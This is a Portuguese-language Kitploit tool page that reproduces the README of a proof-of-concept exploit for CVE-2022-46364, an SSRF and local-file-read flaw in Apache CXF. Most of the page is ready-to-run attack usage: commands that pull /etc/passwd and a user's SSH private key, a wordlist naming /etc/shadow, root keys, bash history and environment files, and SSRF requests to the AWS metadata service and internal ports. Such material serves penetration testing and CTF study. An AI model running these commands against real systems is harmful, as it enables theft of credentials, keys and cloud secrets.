Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
Ferramentas/GitHubGitHub/0xmid00/cve-2022-46364-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebFuzzingTestes de Penetração
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

Ver Repositório
11há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Autor: 0xmid00
Vulnerabilidade: SSRF / Leitura de Arquivo Local via XOP:Include em requisições MTOM
Afetado: Apache CXF < 3.5.5 e < 3.4.10


O que é a Vulnerabilidade?

O Apache CXF processa mensagens MTOM (Message Transmission Optimization Mechanism) que contêm elementos XOP:Include. O atributo href do XOP:Include deve referenciar um anexo dentro da mesma mensagem multiparte MTOM.

No entanto, em versões vulneráveis, o CXF seguirá qualquer URI fornecida em href, incluindo:

  • file:///etc/passwd → lê arquivos locais (LFI)
  • http://127.0.0.1:PORT/ → testa serviços internos (SSRF)

Um atacante só precisa enviar uma requisição SOAP com pelo menos um parâmetro de qualquer tipo para acionar isso.


Requisitos

pip install requests

Uso

python3 exploit.py -r request.txt [options]

Argumentos

ArgumentoDescrição
-r, --requestCaminho para o arquivo de requisição HTTP bruta (obrigatório)
--mode 1Detectar automaticamente campos XML injetáveis usando /etc/passwd
--mode 2Fuzzar uma wordlist de caminhos de arquivos
--field NAMEEspecificar o campo XML a ser injetado (ignora detecção automática)
--wordlist PATHCaminho para a wordlist de arquivos para o Modo 2
--read PATHLer um único arquivo específico
-v, --verboseMostrar informações detalhadas da requisição

Formato do Arquivo de Requisição

Salve sua requisição HTTP bruta em um arquivo .txt exatamente como capturada (ex: do Burp):

POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

O exploit converte automaticamente para o formato MTOM — você não precisa fazer isso manualmente.


Exemplos

Modo 1 — Detectar automaticamente todos os campos injetáveis

python3 exploit.py -r request.txt --mode 1

Tenta injetar file:///etc/passwd em todos os elementos folha XML e reporta quais retornam conteúdo do arquivo.


Modo 1 — Testar um campo específico

python3 exploit.py -r request.txt --mode 1 --field content

Modo 2 — Fuzzar arquivos (detectar campo automaticamente primeiro)

python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

Primeiro executa o Modo 1 para encontrar o campo injetável, depois testa todos os caminhos na wordlist através desse campo.


Modo 2 — Fuzzar arquivos com campo conhecido (mais rápido)

python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Ignora a detecção de campo e vai direto para o fuzzing.


Leitura de arquivo único

python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Exemplo de Wordlist (lfi.txt)

/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

Você também pode usar o SecLists:

/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Como Funciona

  1. Analisa o arquivo de requisição HTTP bruta
  2. Localiza o campo XML alvo no corpo SOAP
  3. Substitui seu conteúdo por <xop:Include href="file:///..."/>
  4. Empacota a requisição no formato multiparte MTOM (necessário para ativar o processador XOP do CXF)
  5. Envia a requisição — o CXF busca o arquivo e retorna seu conteúdo codificado em base64
  6. Decodifica e exibe o resultado

Modo SSRF

Para testar serviços HTTP internos em vez de ler arquivos:

python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

Ou edite o valor de --read com qualquer URL interna:

--read http://169.254.169.254/latest/meta-data/   (metadados AWS)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (banner SSH)

Aviso Legal

Esta ferramenta é apenas para testes de penetração autorizados e desafios CTF. O autor não é responsável por qualquer uso indevido.

Baixar ferramenta